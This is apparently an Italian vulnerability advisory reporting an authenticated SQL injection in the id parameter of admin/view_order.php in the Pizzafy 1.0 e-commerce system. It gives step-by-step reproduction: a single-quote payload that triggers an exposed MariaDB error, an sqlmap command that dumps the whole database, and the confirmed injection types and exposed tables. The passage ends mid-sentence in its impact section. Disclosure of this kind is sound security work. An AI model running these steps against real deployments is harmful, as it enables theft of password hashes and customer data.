
admin/view_order.php| Campo | Valore |
|---|---|
| Fornitore | SourceCodester |
| Prodotto | Sistema e-commerce Pizzafy basato su PHP e MySQL |
| Versione | 1.0 |
| Vulnerabilità | SQL Injection |
| CWE | CWE-89 |
| Punteggio CVSSv3 | 7.2 (Alto) |
| Vettore di attacco | Rete |
| Autenticazione richiesta | Sì (Amministratore) |
| Ricercatore | Xmyronn |
| Data | 2026-04-11 |
https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html
File: Pizzafy/admin/view_order.php
Parametro: id (GET)
L'endpoint admin/view_order.php del sistema e-commerce Pizzafy 1.0 non sanifica correttamente il parametro GET id prima di passarlo a una query MySQL. Un amministratore autenticato può manipolare questo parametro per iniettare SQL arbitrario, portando alla compromissione totale del database.
Vai a:
http://localhost/pizzafy/Pizzafy/admin/index.php
Accedi con le credenziali di amministratore.
http://localhost/pizzafy/Pizzafy/admin/index.php?page=orders
Fai clic su View Order per qualsiasi voce di ordine.

La richiesta GET intercettata si presenta così:

Modifica id=1 in id=':

GET /pizzafy/Pizzafy/admin/view_order.php?id=' HTTP/1.1
Risposta — errore MySQL esposto:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near ''' at line 1 in
C:\xampp\htdocs\pizzafy\Pizzafy\admin\view_order.php:15
Salva la richiesta in view_order.txt ed esegui:
sqlmap -r view_order.txt --dump --batch
sqlmap ha confermato i tipi di iniezione:
| Tipo | Titolo |
|---|---|
| Boolean-based blind | AND boolean-based blind — WHERE clause |
| Error-based | MySQL >= 5.0 FLOOR error-based |
| Time-based blind | MySQL >= 5.0.12 SLEEP |
| UNION query | Generic UNION query — 11 columns |
Dump dell'intero database:
Database: pizzafy
Tables: users, user_info, orders, order_list, product_list, category_list, system_settings
I dati sensibili esposti includono hash bcrypt delle password, email dei clienti, dettagli degli ordini e configurazione di sistema.
Un amministratore autenticato malintenzionato (o un attaccante che abbia ottenuto le credenziali dell'amministratore) può: